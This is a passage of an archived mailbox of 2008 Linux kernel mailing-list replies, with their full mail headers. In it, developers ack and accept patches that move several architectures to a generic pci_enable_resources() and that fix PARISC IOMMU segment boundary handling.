	for <linuxppc-dev@ozlabs.org>; Thu,  6 Mar 2008 02:15:10 +1100 (EST)
Original-Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com
	[172.16.52.254])
	by mx1.redhat.com (8.13.8/8.13.8) with ESMTP id m25FDBQm031705;
	Wed, 5 Mar 2008 10:13:11 -0500
Original-Received: from pobox.devel.redhat.com (pobox.devel.redhat.com [10.11.255.8])
	by int-mx1.corp.redhat.com (8.13.1/8.13.1) with ESMTP id m25FDBaC015212;
	Wed, 5 Mar 2008 10:13:11 -0500
Original-Received: from warthog.cambridge.redhat.com (devserv.devel.redhat.com
	[10.10.36.72])
	by pobox.devel.redhat.com (8.13.1/8.13.1) with ESMTP id m25FDAWN028299; 
	Wed, 5 Mar 2008 10:13:10 -0500
Original-Received: from [127.0.0.1] (helo=redhat.com)
	by warthog.cambridge.redhat.com with esmtp (Exim 4.68 #1 (Red Hat
	Linux)) id 1JWvIs-0007Kw-9M; Wed, 05 Mar 2008 15:13:10 +0000
In-Reply-To: <20080304185821.354198782@ldl.fc.hp.com>
X-Mailer: MH-E 8.0.3+cvs; nmh 1.2-20070115cvs; GNU Emacs 23.0.50
X-Scanned-By: MIMEDefang 2.58 on 172.16.52.254
X-BeenThere: linuxppc-dev@ozlabs.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.ozlabs.org>
List-Unsubscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=unsubscribe>
List-Archive: <http://ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@ozlabs.org?subject=help>
List-Subscribe: <https://ozlabs.org/mailman/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@ozlabs.org?subject=subscribe>
Original-Sender: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org
Errors-To: linuxppc-dev-bounces+glppd-linuxppc64-dev=m.gmane.org@ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc64.devel:36732 gmane.linux.kernel.cross-arch:28 gmane.linux.ports.parisc:171 gmane.linux.ports.arm.kernel:39252
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/171>


Bjorn Helgaas <bjorn.helgaas@hp.com> wrote:

> Use the generic pci_enable_resources() instead of the arch-specific code.
> 
> Unlike this arch-specific code, the generic version:
>     - checks PCI_NUM_RESOURCES (11), not 6, resources
>     - skips resources that have neither IORESOURCE_IO nor IORESOURCE_MEM set
>     - skips ROM resources unless IORESOURCE_ROM_ENABLE is set
>     - checks for resource collisions with "!r->parent"
> 
> Signed-off-by: Bjorn Helgaas <bjorn.helgaas@hp.com>

Acked-by: David Howells <dhowells@redhat.com>

From - Thu Nov 08 21:02:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH -mm 0/3] fix iommu segment boundary problems (parisc)
Date: Wed, 5 Mar 2008 08:45:02 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20080305154502.GA32538@colo.lackof.org>
References: <1204438228-4564-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204732073 24764 80.91.229.12 (5 Mar 2008 15:47:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2008 15:47:53 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	tomof@acm.org, Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 05 16:48:17 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWvob-00036k-1a
	for glpp-linux-parisc@gmane.org; Wed, 05 Mar 2008 16:45:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752197AbYCEPpT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Mar 2008 10:45:19 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753533AbYCEPpT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Mar 2008 10:45:19 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:59761 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752197AbYCEPpS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Mar 2008 10:45:18 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B5C15298053;
	Wed,  5 Mar 2008 08:45:14 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03371-05; Wed, 5 Mar 2008 08:45:04 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2D680298066; Wed,  5 Mar 2008 08:45:02 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1204438228-4564-1-git-send-email-fujita.tomonori@lab.ntt.co.jp>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:172 gmane.linux.kernel:650190
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/172>

On Sun, Mar 02, 2008 at 03:10:25PM +0900, FUJITA Tomonori wrote:
> This patchset is another sequel to my patchset to fix iommu segment
> boundary problems, IOMMUs allocate memory areas without considering a
> low level driver's segment boundary limits:
> 
> http://www.mail-archive.com/linux-scsi@vger.kernel.org/msg11919.html
> 
> This patchset fixes the PARISC IOMMU code (sbc and ccio).
> 
> There are three patches in this patchset. The first patch is for the
> IOMMU helper (lib/iommu-helper.c) to enable PARISC IOMMUs use it.
> 
> The second and third patches are for PARISC IOMMUs, the second one is
> preparation for the third patch, which fixes the IOMMU segment
> boundary problem.
> 
> The third patch assumes that ioc->ibase is on IOVP_SIZE boundary. If
> not, please let me know. I'll fix the patch.

Please add
    Acked-by: Grant Grundler <grundler@parisc-linux.org>

This includes the 4th patch posted on march 3, 2008.

Thanks for posting this series. I've reviewed the code and it looks fine
to me as well (kyle already acked it).

And thanks to Joel Soete (rubisher) for testing. I tried to test the
sba_iommu code on my local box but had issues with the unpatched kernel
(using kyle's parisc-2.6.git tree) that I have yet to resolve (could be
HW problems).

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle-pfcGkIkfWfAsA/PxXw9srA@public.gmane.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 09/16] parisc: use generic pci_enable_resources()
Date: Wed, 5 Mar 2008 11:17:10 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <20080305161709.GA3354@phobos.i.cabal.ca>
References: <20080304185646.864917286@ldl.fc.hp.com> <20080304185821.554040328@ldl.fc.hp.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204733881 7210 80.91.229.12 (5 Mar 2008 16:18:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2008 16:18:01 +0000 (UTC)
Cc: linux-pci-jyMamyUUXNJG4ohzP4jBZS1Fcj925eT/@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Russell King <rmk-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	Kyle McMartin <kyle-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Matthew Wilcox <matthew-Ztpu424NOJ8@public.gmane.org>,
	Grant Grundler <grundler-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	linuxppc-dev-mnsaURCQ41sdnm+yROfE0A@public.gmane.org, Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>
To: Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org>
Original-X-From: linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Mar 05 17:18:26 2008
Return-path: <linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-arch-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JWwJs-0000Wz-Hs
	for glka-linux-arch-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Wed, 05 Mar 2008 17:18:16 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1758798AbYCEQRN (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 5 Mar 2008 11:17:13 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1756150AbYCEQRN
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 5 Mar 2008 11:17:13 -0500
Original-Received: from 206-248-169-182.dsl.ncf.ca ([206.248.169.182]:42261 "EHLO
	phobos.cabal.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759023AbYCEQRL (ORCPT
	<rfc822;linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Wed, 5 Mar 2008 11:17:11 -0500
Original-Received: by phobos.cabal.ca (Postfix, from userid 500)
	id 2ED84178081; Wed,  5 Mar 2008 11:17:10 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20080304185821.554040328-e+Ta4ugHZmL3oGB3hsPCZA@public.gmane.org>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:29 gmane.linux.ports.parisc:173 gmane.linux.ports.ppc64.devel:36734
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/173>

On Tue, Mar 04, 2008 at 11:56:55AM -0700, Bjorn Helgaas wrote:
> Use the generic pci_enable_resources() instead of the arch-specific code.
> 
> Unlike this arch-specific code, the generic version:
>     - checks PCI_NUM_RESOURCES (11), not DEVICE_COUNT_RESOURCE (12), resources
>     - skips resources that have neither IORESOURCE_IO nor IORESOURCE_MEM set
>     - skips ROM resources unless IORESOURCE_ROM_ENABLE is set
>     - checks for resource collisions with "!r->parent"
> 
> Signed-off-by: Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org>
> 

Acked-by: Kyle McMartin <kyle-pfcGkIkfWfAsA/PxXw9srA@public.gmane.org>
--
To unsubscribe from this list: send the line "unsubscribe linux-arch" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg-U8xfFu+wG4EAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 09/16] parisc: use generic pci_enable_resources()
Date: Wed, 5 Mar 2008 12:09:43 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20080305200943.GB13569@kroah.com>
References: <20080304185646.864917286@ldl.fc.hp.com> <20080304185821.554040328@ldl.fc.hp.com> <20080305161709.GA3354@phobos.i.cabal.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204748178 17196 80.91.229.12 (5 Mar 2008 20:16:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2008 20:16:18 +0000 (UTC)
Cc: Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org>,
	linux-pci-jyMamyUUXNJG4ohzP4jBZS1Fcj925eT/@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Russell King <rmk-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	Kyle McMartin <kyle-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Matthew Wilcox <matthew-Ztpu424NOJ8@public.gmane.org>,
	Grant Grundler <grundler-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	linuxppc-dev-mnsaURCQ41sdnm+yROfE0A@public.gmane.org, Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>
To: Kyle McMartin <kyle-pfcGkIkfWfAsA/PxXw9srA@public.gmane.org>
Original-X-From: linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Mar 05 21:16:43 2008
Return-path: <linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-arch-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JX02c-0006B8-3M
	for glka-linux-arch-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Wed, 05 Mar 2008 21:16:42 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752563AbYCEUQI (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 5 Mar 2008 15:16:08 -0500
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org id S1752338AbYCEUQH
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 5 Mar 2008 15:16:07 -0500
Original-Received: from pentafluge.infradead.org ([213.146.154.40]:46700 "EHLO
	pentafluge.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752563AbYCEUQG (ORCPT
	<rfc822;linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Wed, 5 Mar 2008 15:16:06 -0500
Original-Received: from dsl093-040-174.pdx1.dsl.speakeasy.net ([66.93.40.174] helo=localhost)
	by pentafluge.infradead.org with esmtpsa (Exim 4.68 #1 (Red Hat Linux))
	id 1JX01j-0002N4-2j; Wed, 05 Mar 2008 20:15:47 +0000
Content-Disposition: inline
In-Reply-To: <20080305161709.GA3354-EK4dZfYtfFRW/gs8oUvUg/d9D2ou9A/h@public.gmane.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:30 gmane.linux.ports.parisc:174 gmane.linux.ports.ppc64.devel:36745
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/174>

On Wed, Mar 05, 2008 at 11:17:10AM -0500, Kyle McMartin wrote:
> On Tue, Mar 04, 2008 at 11:56:55AM -0700, Bjorn Helgaas wrote:
> > Use the generic pci_enable_resources() instead of the arch-specific code.
> > 
> > Unlike this arch-specific code, the generic version:
> >     - checks PCI_NUM_RESOURCES (11), not DEVICE_COUNT_RESOURCE (12), resources
> >     - skips resources that have neither IORESOURCE_IO nor IORESOURCE_MEM set
> >     - skips ROM resources unless IORESOURCE_ROM_ENABLE is set
> >     - checks for resource collisions with "!r->parent"
> > 
> > Signed-off-by: Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org>
> > 
> 
> Acked-by: Kyle McMartin <kyle-pfcGkIkfWfAsA/PxXw9srA@public.gmane.org>

added, thanks.

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-arch" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch
Subject: Re: [patch 05/16] frv: use generic pci_enable_resources()
Date: Wed, 5 Mar 2008 12:14:46 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20080305201446.GE13569@kroah.com>
References: <20080304185820.723623873@ldl.fc.hp.com> <20080304185646.864917286@ldl.fc.hp.com> <20881.1204728766@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204748240 17411 80.91.229.12 (5 Mar 2008 20:17:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2008 20:17:20 +0000 (UTC)
Cc: Bjorn Helgaas <bjorn.helgaas@hp.com>,
	Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>,
	linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org
To: David Howells <dhowells@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 05 21:17:45 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JX03Y-0006Dj-U4
	for glpp-linux-parisc@gmane.org; Wed, 05 Mar 2008 21:17:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752943AbYCEURH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Mar 2008 15:17:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752835AbYCEURG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Mar 2008 15:17:06 -0500
Original-Received: from pentafluge.infradead.org ([213.146.154.40]:49110 "EHLO
	pentafluge.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752790AbYCEURE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Mar 2008 15:17:04 -0500
Original-Received: from dsl093-040-174.pdx1.dsl.speakeasy.net ([66.93.40.174] helo=localhost)
	by pentafluge.infradead.org with esmtpsa (Exim 4.68 #1 (Red Hat Linux))
	id 1JX02G-0002O1-B6; Wed, 05 Mar 2008 20:16:21 +0000
Content-Disposition: inline
In-Reply-To: <20881.1204728766@redhat.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:175 gmane.linux.ports.arm.kernel:39271 gmane.linux.ports.ppc64.devel:36746 gmane.linux.kernel.cross-arch:31
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/175>

On Wed, Mar 05, 2008 at 02:52:46PM +0000, David Howells wrote:
> 
> Bjorn Helgaas <bjorn.helgaas@hp.com> wrote:
> 
> > Use the generic pci_enable_resources() instead of the arch-specific code.
> > 
> > Unlike this arch-specific code, the generic version:
> >     - checks PCI_NUM_RESOURCES (11), not 6, resources
> >     - skips resources that have neither IORESOURCE_IO nor IORESOURCE_MEM set
> >     - skips ROM resources unless IORESOURCE_ROM_ENABLE is set
> >     - checks for resource collisions with "!r->parent"
> > 
> > Signed-off-by: Bjorn Helgaas <bjorn.helgaas@hp.com>
> 
> Acked-by: David Howells <dhowells@redhat.com>

Added, thanks.

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg@kroah.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch
Subject: Re: [patch 01/16] PCI: add generic pci_enable_resources()
Date: Wed, 5 Mar 2008 12:14:26 -0800
Lines: 25
Approved: news@gmane.org
Message-ID: <20080305201426.GD13569@kroah.com>
References: <20080304185819.885549413@ldl.fc.hp.com> <20080304185646.864917286@ldl.fc.hp.com> <20894.1204728811@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204748251 17446 80.91.229.12 (5 Mar 2008 20:17:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2008 20:17:31 +0000 (UTC)
Cc: Bjorn Helgaas <bjorn.helgaas@hp.com>,
	Russell King <rmk@arm.linux.org.uk>,
	linux-arm-kernel@lists.arm.linux.org.uk,
	Kyle McMartin <kyle@parisc-linux.org>,
	Matthew Wilcox <matthew@wil.cx>,
	Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org, Paul Mackerras <paulus@samba.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	linuxppc-dev@ozlabs.org, Chris Zankel <chris@zankel.net>,
	linux-pci@atrey.karlin.mff.cuni.cz, linux-arch@vger.kernel.org
To: David Howells <dhowells@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 05 21:17:53 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JX03e-0006Dj-I6
	for glpp-linux-parisc@gmane.org; Wed, 05 Mar 2008 21:17:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753141AbYCEURN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Mar 2008 15:17:13 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753051AbYCEURN
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Mar 2008 15:17:13 -0500
Original-Received: from pentafluge.infradead.org ([213.146.154.40]:49115 "EHLO
	pentafluge.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752813AbYCEURL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Mar 2008 15:17:11 -0500
Original-Received: from dsl093-040-174.pdx1.dsl.speakeasy.net ([66.93.40.174] helo=localhost)
	by pentafluge.infradead.org with esmtpsa (Exim 4.68 #1 (Red Hat Linux))
	id 1JX02D-0002No-BY; Wed, 05 Mar 2008 20:16:18 +0000
Content-Disposition: inline
In-Reply-To: <20894.1204728811@redhat.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:176 gmane.linux.ports.arm.kernel:39272 gmane.linux.ports.ppc64.devel:36747 gmane.linux.kernel.cross-arch:32
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/176>

On Wed, Mar 05, 2008 at 02:53:31PM +0000, David Howells wrote:
> 
> Bjorn Helgaas <bjorn.helgaas@hp.com> wrote:
> 
> > Each architecture has its own pcibios_enable_resources() implementation.
> > These differ in many minor ways that have nothing to do with actual
> > architectural differences.  Follow-on patches will make most arches
> > use this generic version instead.
> > 
> > This version is based on powerpc, which seemed most up-to-date.  The only
> > functional difference from the x86 version is that this uses "!r->parent"
> > to check for resource collisions instead of "!r->start && r->end".
> > 
> > Signed-off-by: Bjorn Helgaas <bjorn.helgaas@hp.com>
> 
> Acked-by: David Howells <dhowells@redhat.com>

added, thanks.

greg k-h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg KH <greg-U8xfFu+wG4EAvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [patch 08/16] mn10300: use generic pci_enable_resources()
Date: Wed, 5 Mar 2008 12:15:06 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20080305201506.GF13569@kroah.com>
References: <20080304185821.354198782@ldl.fc.hp.com> <20080304185646.864917286@ldl.fc.hp.com> <28205.1204729990@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1204748300 17632 80.91.229.12 (5 Mar 2008 20:18:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Mar 2008 20:18:20 +0000 (UTC)
Cc: Bjorn Helgaas <bjorn.helgaas-VXdhtT5mjnY@public.gmane.org>,
	Russell King <rmk-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	linux-arm-kernel-xIg/pKzrS19vn6HldHNs0ANdhmdF6hFW@public.gmane.org,
	Kyle McMartin <kyle-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	Matthew Wilcox <matthew-Ztpu424NOJ8@public.gmane.org>,
	Grant Grundler <grundler-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
	Benjamin Herrenschmidt <benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org>,
	linuxppc-dev-mnsaURCQ41sdnm+yROfE0A@public.gmane.org, Chris Zankel <chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org>,
	linux-pci-jyMamyUUXNJG4ohzP4jBZS1Fcj925eT/@public.gmane.org, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: David Howells <dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Mar 05 21:18:45 2008
Return-path: <linux-arch-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-arch-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JX04K-0006uf-D1
	for glka-linux-arch-Uylq5CNFT+jYtjvyW6yDsg@public.gmane.org; Wed, 05 Mar 2008 21:18:28 +0100
